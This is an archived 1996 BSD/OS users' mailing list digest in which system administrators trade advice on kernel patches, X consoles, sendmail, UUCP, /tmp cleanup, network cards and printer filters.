*)bp->b_data + ino_to_fsbo(fs, ip->i_number)) = ip->i_din; ! if (ap->a_waitfor) return (bwrite(bp)); else { bdwrite(bp); --- 124,130 ---- } *((struct dinode *)bp->b_data + ino_to_fsbo(fs, ip->i_number)) = ip->i_din; ! if (ap->a_waitfor && (ap->a_vp->v_mount->mnt_flag & MNT_ASYNC) == 0) return (bwrite(bp)); else { bdwrite(bp); Using the above and 'mount -o async' when doing 'restore's cuts about 30% off the elapsed time. Steven Schultz sms@wlv.iipo.gtegsc.com From VM Thu Nov 7 01:13:53 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["272" "Tue" "5" "November" "1996" "15:47:23" "-0700" "Nate Williams" "nate@mt.sri.com" nil "13" "Re: X Question... " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA16157 for ; Tue, 5 Nov 1996 19:38:54 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA05604 for bsdi-users-outgoing; Tue, 5 Nov 1996 19:39:03 -0500 (EST) Message-Id: <199611052247.PAA27026@rocky.mt.sri.com> In-Reply-To: <199611052218.PAA19415@tao.bsdi.com> References: <199611052218.PAA19415@tao.bsdi.com> Precedence: bulk From: Nate Williams Sender: owner-bsdi-users@lists.gateway.com To: Bill Nestlerode Cc: Brian Beaulieu , BSDi User List Subject: Re: X Question... Date: Tue, 5 Nov 1996 15:47:23 -0700 (MST) > >Is it possible to jump back to console or another tty without shutting > >down X ? > > No. Unfortunately, Xinside has not put that functionality in Xaccel > for BSD/OS. It's not a function of the X driver, but rather a function of the console driver in BSDi. Nate From VM Thu Nov 7 01:13:56 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["653" "Wed" "6" "November" "1996" "11:50:36" "+1100" "Dinesh Pullat" "dinesh@newsnet.com.au" nil "19" "ISODE snmpd" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA16982 for ; Tue, 5 Nov 1996 20:09:10 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id UAA05673 for bsdi-users-outgoing; Tue, 5 Nov 1996 20:03:16 -0500 (EST) Message-Id: <9611060050.AA12456@Sol.> X-Sun-Charset: US-ASCII Precedence: bulk From: dinesh@newsnet.com.au (Dinesh Pullat) Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@lists.gateway.com Subject: ISODE snmpd Date: Wed, 6 Nov 1996 11:50:36 +1100 Hi all, Wondering whether /usr/contrib/isode/sbin/snmpd (shipped with 2.1) supports SNMP V2. My guess is it does not? Also, I got 4BSD/ISODE mib (unix.mib) (comes with Scotty) that says its for SNMP V2. Now, a strings on snmpd says its 4BSD/ISODE SNMP! Any ideas if snmpd supports V2? If not, does that mean the above mib is useless on BSDI 2.1? Any help appreciated. Dinesh Pullat (dinesh@newsnet.com.au)_______________________ Newsnet ITN Ltd. voice: +61 2 9552 4699 (W) 100 Harris Street +61 2 9560 5042 (H) Pyrmont, NSW 2009 fax: +61 2 9552 1132 (W) Australia._________PGP public key available_________________ From VM Thu Nov 7 01:13:59 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1165" "Tue" "5" "November" "1996" "17:29:58" "-0800" "Devon Lazarus" "devonl@digitalthink.com" nil "32" "[Q]: sendmail q" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA18638 for ; Tue, 5 Nov 1996 21:12:11 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA05801 for bsdi-users-outgoing; Tue, 5 Nov 1996 21:04:17 -0500 (EST) Message-ID: <327FEA16.59E2B600@digitalthink.com> Organization: DigitalThink X-Mailer: Mozilla 3.01 (X11; I; BSD/OS 2.0 i386) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Devon Lazarus Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: [Q]: sendmail q Date: Tue, 05 Nov 1996 17:29:58 -0800 help me, please? i have been looking all over for this answer and i can't find it in the sendmail book. we are having problems with sendmail and makemap and i have just noticed that there is a sendmail.bit file in my /etc dir. any ideas on what it is and how i can decifer it? looking at it it seems to be some sort of ruleset/error file. here it is: # stuff from panic Kdomainalias btree /etc/domainalias.db S98 R$+ < $+ . > $1 < $2 > remove trailing dots R$+ < $+ > $: < > $(domainalias $1$2 $) match user@addr R< > $+ @ $* $: < $1 > $(domainalias * @ $2 $) match *@address R< $+ > * $* $: < > $1 $2 replace * with userid. R < $+ > $+ $: < > $2 not quite sure. R< > $* $: $>3 $1 rewrite using S3 any and all help is appreciated. i know this is not bsdi specific but as i said i couldn't find a reference anywhere. -d -- |----------------------------------------| | Devon Lazarus Technology Group | | DigitalThink | | www.digitalthink.com coming November 1 | |----------------------------------------| From VM Thu Nov 7 01:14:05 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["198" "Tue" "5" "November" "1996" "21:20:13" "-0600" "David Stavert" "dstavert@ladybugcom.com" nil "8" "UUCP" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA20802 for ; Tue, 5 Nov 1996 22:27:36 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id WAA05964 for bsdi-users-outgoing; Tue, 5 Nov 1996 22:19:33 -0500 (EST) Message-ID: <01BBCB5F.2298C6F0@david.ladybugcom.com> Precedence: bulk From: dstavert@ladybugcom.com (David Stavert) Sender: owner-bsdi-users@lists.gateway.com To: "'bsdi-users@BSDI.COM'" Subject: UUCP Date: Tue, 5 Nov 1996 21:20:13 -0600 Has anyone found a solution to remote Email other than a UUCP setup. I have a client that wants local network Email as well as Internet mail. I would rather not use UUCP if possible. TIA Daivd From VM Thu Nov 7 01:14:06 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["532" "Wed" "6" "November" "1996" "08:55:20" "+0530" "Jayanta Mukherjee" "jayanta@vedika.co.in" nil "18" "Password " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA20807 for ; Tue, 5 Nov 1996 22:29:47 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id WAA05989 for bsdi-users-outgoing; Tue, 5 Nov 1996 22:28:40 -0500 (EST) Message-Id: <199611060911.JAA07677@moon.vedika.co.in> X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Precedence: bulk From: "Jayanta Mukherjee" Sender: owner-bsdi-users@lists.gateway.com To: Subject: Password Date: Wed, 6 Nov 1996 08:55:20 +0530 Hi all While trying to change password from users login it says "password changed elsewhere" and actually it doesn't change but I can change user password from root login in BSD 2.0. What is the cause of this? Thanks in advance Jayanta ---------------------------------------------------------------------------- ----- Jayanta Mukherjee Vedika Software Ph :91-33-2473810 5B Sarat Bose Raod Fax :91-33-2479474 Calcutta-20 Vist us on Web http://www.fact.com.sg Our New Project http://www.allindia.com From VM Thu Nov 7 01:14:07 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["516" "Tue" "5" "November" "1996" "23:29:41" "-0500" "Curtis Turner" "cturner@twd.net" nil "18" "Mail problems" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA21083 for ; Tue, 5 Nov 1996 22:38:59 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id WAA06081 for bsdi-users-outgoing; Tue, 5 Nov 1996 22:38:42 -0500 (EST) Message-ID: <32801435.278D@twd.net> Reply-To: cturner@twd.net X-Mailer: Mozilla 3.0 (Win95; I) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Curtis Turner Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Mail problems Date: Tue, 05 Nov 1996 23:29:41 -0500 Question: Iam running bsdi 2.0 on petnium 166 / 64M ram / 4gig scsi HD this machine is our mail server (by itself) it runs fine all day and then aprox 7-8pm it stops responding to pop clients. If we reset inetd (kill -hup pid of inetd) it will start working again for a while and a few minutes later same thing. What is going on and how do i fix it??? Are we a victim of syn-flood attack ?? p.s. we have aprox 5000 customers (but never more than 20 -30 pop request at the same time)???? thanx in advance curt From VM Thu Nov 7 01:14:08 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["629" "Wed" "6" "November" "1996" "14:12:29" "+1030" "David Newall" "davidn@rebel.net.au" nil "13" "Re: ACK... /tmp is too small... how can I fix it?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA21362 for ; Tue, 5 Nov 1996 22:45:32 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id WAA06089 for bsdi-users-outgoing; Tue, 5 Nov 1996 22:42:50 -0500 (EST) Message-Id: <199611060342.OAA17165@rebel.net.au> In-Reply-To: from "Dave Horsfall" at Nov 5, 96 11:59:28 pm Content-Type: text Precedence: bulk From: David Newall Sender: owner-bsdi-users@lists.gateway.com To: dave@fgh.oz.au (Dave Horsfall) Cc: bsdi-users@BSDI.COM Subject: Re: ACK... /tmp is too small... how can I fix it? Date: Wed, 6 Nov 1996 14:12:29 +1030 (CST) Dave Horsfall wrote: > I find it useful to create directories under /tmp, so they remain behind > after "rm -f /tmp/*"; been doing this since Edition 5... This doesn't necessarily clear /tmp. This can easily produce an error, "Argument list too long". The fastest way I can think to remove all files in /tmp is "find /tmp -depth -print | xargs rm -f", but this also removes all sub-directories of temp. If you want only to remove ordinary files from /tmp, and leave sub-directories untouched: "ls -1 /tmp | while read name; do [ -f $name ] && rm -f $name; done" [Standard disclaimer: These are my private opinions] From VM Thu Nov 7 01:14:10 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1137" "Tue" "5" "November" "1996" "23:11:32" "-0500" "Kevin U. Hill" "kuh@naples.net" nil "33" "Re: /usr/share/skel -- subdirectories " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA22178 for ; Tue, 5 Nov 1996 23:18:46 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id XAA06124 for bsdi-users-outgoing; Tue, 5 Nov 1996 23:12:04 -0500 (EST) Message-Id: <199611060411.XAA03674@gator.naples.net> X-Sender: kuh@gator.naples.net X-Mailer: Windows Eudora Pro Version 2.1.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: "Kevin U. Hill" Sender: owner-bsdi-users@lists.gateway.com To: "Craig Thompson" , "Jacob M. Parnas" Cc: info-bsdi-users@uunet.uu.net Subject: Re: /usr/share/skel -- subdirectories Date: Tue, 5 Nov 1996 23:11:32 -0500 At 11:04 AM 11/4/96 -0500, Craig Thompson wrote: >Thanks, > >> >> In message <55b84d$app@eirene.wingnet.net>you write: >> >Haven't figured out how to make subdirectories (such as >> >public_html) be created automatically when we add users. Files in >> >/usr/share/skel are copied over with no problem, but I haven't seen >> >a template setup for doing the same with subdirectories. >> How about >> >> (cd /usr/share/skel; tar cf - . ) | (cd ~newusername; tar xpf -) We just add a few lines toward the end of the adduser script: system("mkdir $home_dir{$login}/www"); system("/usr/sbin/chown $login $home_dir{$login}/www"); system("/bin/chmod 755 $home_dir{$login}/www/"); We also use the script to set quota, mail a welcome message, etc. - Kevin ______________________________________________________ | k e v i n u. h i l l | kuh@naples.net | | livestock agent - collier | university of florida | | tech committee chair | naples free-net | | http://www.naples.net/~kuh/ | ------------------------------------------------------ From VM Thu Nov 7 01:14:14 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["670" "Tue" "5" "November" "1996" "23:39:56" "+0000" "Jay Lixfeld" "carrera@idirect.com" nil "28" "Re: X Question... " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA24416 for ; Wed, 6 Nov 1996 00:36:31 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id AAA06268 for bsdi-users-outgoing; Wed, 6 Nov 1996 00:29:41 -0500 (EST) X-Sender: carrera@localhost In-Reply-To: <199611052218.PAA19415@tao.bsdi.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jay Lixfeld Sender: owner-bsdi-users@lists.gateway.com To: Bill Nestlerode cc: Brian Beaulieu , BSDi User List Subject: Re: X Question... Date: Tue, 5 Nov 1996 23:39:56 +0000 () Can't you just go CTRL-ALT-Fx (1-max tty)? I know that you can do that in FreeBSD, but I'm not sure about BSDI. Heck, I don't even know if this is what you are talking abount! :) On Tue, 5 Nov 1996, Bill Nestlerode wrote: > Brian Beaulieu writes: > >Is it possible to jump back to console or another tty without shutting > >down X ? > > > >Thanks > > > >Brian > > > >================================== > >CAPE Internet System Administrator > >http://www.capecod.net > >http://despair.capecod.net > >brian@despair.capecod.net > >================================== > > > No. Unfortunately, Xinside has not put that functionality in Xaccel for BSD/OS. > > -Bill N > From VM Thu Nov 7 01:14:20 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["415" "Wed" "6" "November" "1996" "18:07:29" "+1100" "Dave Horsfall" "dave@fgh.oz.au" nil "15" "Re: X Question... " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id CAA28655 for ; Wed, 6 Nov 1996 02:12:21 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id CAA08028 for bsdi-users-outgoing; Wed, 6 Nov 1996 02:09:01 -0500 (EST) In-Reply-To: Message-Id: X-Witty-Saying: "Klein Bottle - open other end" X-Disclaimer: "Me, speak for us?" Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Dave Horsfall Sender: owner-bsdi-users@lists.gateway.com To: BSDi Users Subject: Re: X Question... Date: Wed, 6 Nov 1996 18:07:29 +1100 (EST) On Tue, 5 Nov 1996, Jay Lixfeld wrote: [ On getting a console ] > Can't you just go CTRL-ALT-Fx (1-max tty)? > > I know that you can do that in FreeBSD, but I'm not sure about BSDI. Not once X has started, no (modulo my own stupidity of course). -- Dave Horsfall VK2KFU dave@fgh.oz.au Ph: +61 2 9957-4224 Fx: +61 2 9922-5286 FGH Decision Support Systems P/L, 77 Pacific Hwy, Nth. Sydney, 2060, Australia From VM Thu Nov 7 01:14:20 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["539" "Wed" "6" "November" "1996" "18:00:36" "+1100" "Dave Horsfall" "dave@fgh.oz.au" nil "15" "Re: ACK... /tmp is too small... how can I fix it? " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id CAA28656 for ; Wed, 6 Nov 1996 02:12:23 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id CAA07075 for bsdi-users-outgoing; Wed, 6 Nov 1996 02:02:15 -0500 (EST) In-Reply-To: <199611051753.JAA24759@mtbaker.tfm.com> Message-Id: X-Witty-Saying: "Klein Bottle - open other end" X-Disclaimer: "Me, speak for us?" Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Dave Horsfall Sender: owner-bsdi-users@lists.gateway.com To: BSDi Users Subject: Re: ACK... /tmp is too small... how can I fix it? Date: Wed, 6 Nov 1996 18:00:36 +1100 (EST) On Tue, 5 Nov 1996, Stephen Diercouff wrote: > One didn't create memory filesystems in the mid-1970s. > Wake up and join the '90s. :) I'm perfectly familiar with memory file systems; however, there is also a nasty bug with Slowaris' tmpfs (not Lizard/OS, I know) that precludes its use (virtual blocks are not zeroed out). I do use MFS on the Lizard box at home, though. -- Dave Horsfall VK2KFU dave@fgh.oz.au Ph: +61 2 9957-4224 Fx: +61 2 9922-5286 FGH Decision Support Systems P/L, 77 Pacific Hwy, Nth. Sydney, 2060, Australia From VM Thu Nov 7 01:14:21 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["527" "Wed" "6" "November" "1996" "18:05:52" "+1100" "Dave Horsfall" "dave@fgh.oz.au" nil "15" "Re: ACK... /tmp is too small... how can I fix it?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id CAA28663 for ; Wed, 6 Nov 1996 02:12:29 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id CAA08020 for bsdi-users-outgoing; Wed, 6 Nov 1996 02:07:18 -0500 (EST) In-Reply-To: <199611060342.OAA17165@rebel.net.au> Message-Id: X-Witty-Saying: "Klein Bottle - open other end" X-Disclaimer: "Me, speak for us?" Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Dave Horsfall Sender: owner-bsdi-users@lists.gateway.com To: BSDi Users Subject: Re: ACK... /tmp is too small... how can I fix it? Date: Wed, 6 Nov 1996 18:05:52 +1100 (EST) On Wed, 6 Nov 1996, David Newall wrote: > > I find it useful to create directories under /tmp, so they remain behind > > after "rm -f /tmp/*"; been doing this since Edition 5... > > This doesn't necessarily clear /tmp. This can easily produce an error, > "Argument list too long". The fastest way I can think to remove all Sigh - it was for example only... -- Dave Horsfall VK2KFU dave@fgh.oz.au Ph: +61 2 9957-4224 Fx: +61 2 9922-5286 FGH Decision Support Systems P/L, 77 Pacific Hwy, Nth. Sydney, 2060, Australia From VM Thu Nov 7 01:14:27 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1034" "Wed" "6" "November" "1996" "00:36:02" "-0800" "Mike Park" "mikep@quake.net" nil "21" "Re: Transaction server?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id HAA07372 for ; Wed, 6 Nov 1996 07:46:05 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id HAA08386 for bsdi-users-outgoing; Wed, 6 Nov 1996 07:38:48 -0500 (EST) Message-Id: <199611060836.AAA01688@gw.quake.net> Newsgroups: list.bsdi-users References: <8467132238468@quake.net> Precedence: bulk From: Mike Park Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: Transaction server? Date: Wed, 6 Nov 1996 00:36:02 -0800 (PST) >While Icverify does not support all processors, it supports a LOT more >than Cybercash. All the major processors are supported (FDR, ECHO, >MAPP, WELLS, etc..), which is more then Cybercash can do. I'm not sure if this is still a true statement. CyberCash now has support for the following processors ckfree, fdc, mapp, ndc, nova, sligos, visa and wells. (These are not the same as credit card types like MasterCard, Amex etc). It is true that the administration functions are fairly simple and web based, but the protocol to talk to the payment server is documented and networked based. This means integrating CyberCash into the back-end of your current system is quite doable. We have many web sites doing live transactions through our CyberCash servers, and are quite pleased with the result. Mike -- -------------------------------------------------------------------------- Mike Park, mikep@quake.net, (415) 655-7100 http://www.quake.net QuakeNet Technologies, web commerce solutions with CyberCash. From VM Thu Nov 7 01:14:27 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["530" "Wed" "6" "November" "1996" "10:25:53" "+0100" "Geert Jan de Groot" "GeertJan.deGroot@ripe.net" nil "18" "Re: 509 hang?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id HAA07378 for ; Wed, 6 Nov 1996 07:47:34 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id HAA08394 for bsdi-users-outgoing; Wed, 6 Nov 1996 07:39:07 -0500 (EST) Message-Id: <199611060925.KAA00281@berklix.ripe.net> X-Organization: RIPE Network Coordination Centre X-Phone: +31 20 592 5065 Precedence: bulk From: Geert Jan de Groot Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: 509 hang? Date: Wed, 06 Nov 1996 10:25:53 +0100 > Which ethernet card are you using? We've found that 3c509 cards hang > if the throughput gets too high. So we switched everything to smc. Are you sure you're talking about the 3C509 and not the 590? The ISA (not PCI) ethernet card? The 590, and 595 for that matter, really need K210-017; the other cards benefit as well. After the patch has been applied, I have not heard about any problems with the driver. If people still encounter this problem after the patch, I'd like to hear about this in private. Thanks, Geert Jan From VM Thu Nov 7 01:14:28 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["458" "Wed" "6" "November" "1996" "12:05:25" "+0000" "Dermot Tynan" "dtynan@fws.ilo.dec.com" nil "17" "Re: NVI vs VI" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id HAA07389 for ; Wed, 6 Nov 1996 07:51:53 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id HAA08369 for bsdi-users-outgoing; Wed, 6 Nov 1996 07:32:18 -0500 (EST) Message-Id: <9611061205.AA22230@karpov.fws.ilo.dec.com> In-Reply-To: <199611011545.KAA06210@cws.mainstream.net> from "R. Craig Peterson- Mainstream" at Nov 1, 96 10:45:14 am Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: Dermot Tynan Sender: owner-bsdi-users@lists.gateway.com To: craig@mainstream.net (R. Craig Peterson- Mainstream) Cc: bsdi-users@BSDI.COM Subject: Re: NVI vs VI Date: Wed, 6 Nov 1996 12:05:25 +0000 (GMT) R. Craig Peterson- Mainstream wrote: > > When I port UNIX to a new architecture I use: > > ed to bring up vi > vi to bring up emacs > once emacs its working, the port's done :-) These are good milestones. ed to make sure that tty I/O works, vi to make sure the filesystem is working and emacs to make sure VM works! :) - Der -- Dermot Tynan +353 91 754608 dtynan@ilo.dec.com DTN: 822-4608 AltaVista Internet Software, Galway, Ireland From VM Thu Nov 7 01:14:31 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["926" "Wed" "6" "November" "1996" "08:29:47" "-0500" "Cat Okita" "cat@uunet.ca" nil "38" "Re: Parallel printer problems" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA08752 for ; Wed, 6 Nov 1996 08:42:01 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id IAA08446 for bsdi-users-outgoing; Wed, 6 Nov 1996 08:30:03 -0500 (EST) In-Reply-To: <3.0.32.19961105150349.0076981c@popgw.firstdata.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Cat Okita Sender: owner-bsdi-users@lists.gateway.com To: Kent Ketell cc: bsdi-users@BSDI.COM Subject: Re: Parallel printer problems Date: Wed, 6 Nov 1996 08:29:47 -0500 On Tue, 5 Nov 1996, Kent Ketell wrote: > This behaviour is typically due to the file being processed not being seen > by the printer as Postscript. Check your filters. I experienced the problem when not using any filters at all. In the end, the following printcap resolved the problem, with the pertiant entry being the addition of the 'sf' lp|test:\ :sh:sf:\ :lp=/dev/lp0:\ :sd=/var/spool/lpd:\ :lf=/var/log/lpd-errs:\ :if=/usr/contrib/lib/lprps/psif:\ :vf=/usr/local/libexec/lpr/null-filter:\ :mx=0: psif points to psif-ps and psif-txt, both of which are very simple filters at this point: #! /bin/sh - # ps-filter.sh IFS=""; export IFS PATH="/bin:/usr/bin"; export PATH /bin/cat || exit 2 exit 0 #! /bin/sh - # text-filter.sh IFS=""; export IFS PATH="/bin:/usr/bin"; export PATH /usr/contrib/bin/textps -m70 -v11 -t44 || exit 2 exit 0 Cat Okita From VM Thu Nov 7 01:14:36 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["433" "Wed" "6" "November" "1996" "09:04:13" "-0500" "system operator" "bsdi@mohawk.net" nil "12" "Re: ACK... /tmp is too small... how can I fix it? " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA10135 for ; Wed, 6 Nov 1996 09:26:18 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id JAA08508 for bsdi-users-outgoing; Wed, 6 Nov 1996 09:06:57 -0500 (EST) In-Reply-To: <199611052019.MAA29855@mtbaker.tfm.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: system operator Sender: owner-bsdi-users@lists.gateway.com To: Stephen Diercouff cc: bsdi-users@BSDI.COM Subject: Re: ACK... /tmp is too small... how can I fix it? Date: Wed, 6 Nov 1996 09:04:13 -0500 (EST) > > > lrwxr-xr-x 1 root wheel 8 Oct 28 05:15 tmp -> /var/tmp > > > > Just hope that you don't ever have a need to mount / without /var and do > > anything useful. Not that it can't be done, but it certainly does make > > things more complicated. > > One should always make a "shadowed" directory tree under mount points on the > root filesystem to handle single-user situations. Could you explain what you mean, please? - rh From VM Thu Nov 7 01:14:38 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["543" "Wed" "6" "November" "1996" "09:34:39" "-0500" "Bill Becker" "bbecker@futurecomm.com" nil "21" "Re: Weird hanging" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA10429 for ; Wed, 6 Nov 1996 09:42:41 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id JAA08544 for bsdi-users-outgoing; Wed, 6 Nov 1996 09:30:35 -0500 (EST) X-Authentication-Warning: flubber.futurecomm.com: bbecker owned process doing -bs In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Bill Becker Sender: owner-bsdi-users@lists.gateway.com To: Amy cc: cor@xs4all.net, bsdi-users@BSDI.COM Subject: Re: Weird hanging Date: Wed, 6 Nov 1996 09:34:39 -0500 (EST) On Tue, 5 Nov 1996, Amy wrote: > > > Oops forgot to mention that - I'm using NE200 clones (Winbond). Anyone > know of problems with those? Apart from the fact that they are the worst nics i've ever tried, no. I wouldn't trust them as paperweights. Try a different *type* of card...Don't use ne2k clones unless you like aggravation! I solved several problems at my own site by replacing all the ne2k clones with 3c509s. If you have any Linux boxes, use the ne2k cards there -- The Linux driver has ways of making them talk. Bill From VM Thu Nov 7 01:14:39 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1262" "Wed" "6" "November" "1996" "08:51:43" "+0000" "Mike Grommet" "mgrommet@ns.insolwwb.net" nil "34" "Re: UUCP" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA11244 for ; Wed, 6 Nov 1996 10:08:02 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id JAA08631 for bsdi-users-outgoing; Wed, 6 Nov 1996 09:52:54 -0500 (EST) Message-Id: <199611061435.IAA26490@ns.insolwwb.net> Comments: Authenticated sender is X-mailer: Pegasus Mail for Windows (v2.33) Precedence: bulk From: "Mike Grommet" Sender: owner-bsdi-users@lists.gateway.com To: dstavert@ladybugcom.com (David Stavert) CC: bsdi-users@BSDI.COM Subject: Re: UUCP Date: Wed, 6 Nov 1996 08:51:43 +0000 > From: dstavert@ladybugcom.com (David Stavert) > To: "'bsdi-users@BSDI.COM'" > Subject: UUCP > Date: Tue, 5 Nov 1996 21:20:13 -0600 > Has anyone found a solution to remote Email other than a UUCP setup. I have > a client that wants local network Email as well as Internet mail. I would > rather not use UUCP if possible. > > TIA > > Daivd > > I can understand why too... I finally got it working for a client using cc:mail and link to uucp... had to do some sendmail.cf crud... wasn't much fun but it does work now. Dont expect much help from bsdi or from lotus either... I ended up using O'Reilly & Assc's Sendmail book... it helped alot but was soooo big it almost presented too much information... If they are on some sort of network (novell?) you might be able to use Pegasus mail and mercury transport... We have a customer that does network support and has used these products for just this purpose, although I cannot personally say how as I am not a novell man myself... Mike Grommet System Administrator & Web Page Designer Internet Solutions, Inc. mgrommet@insolwwb.net "As long as there are 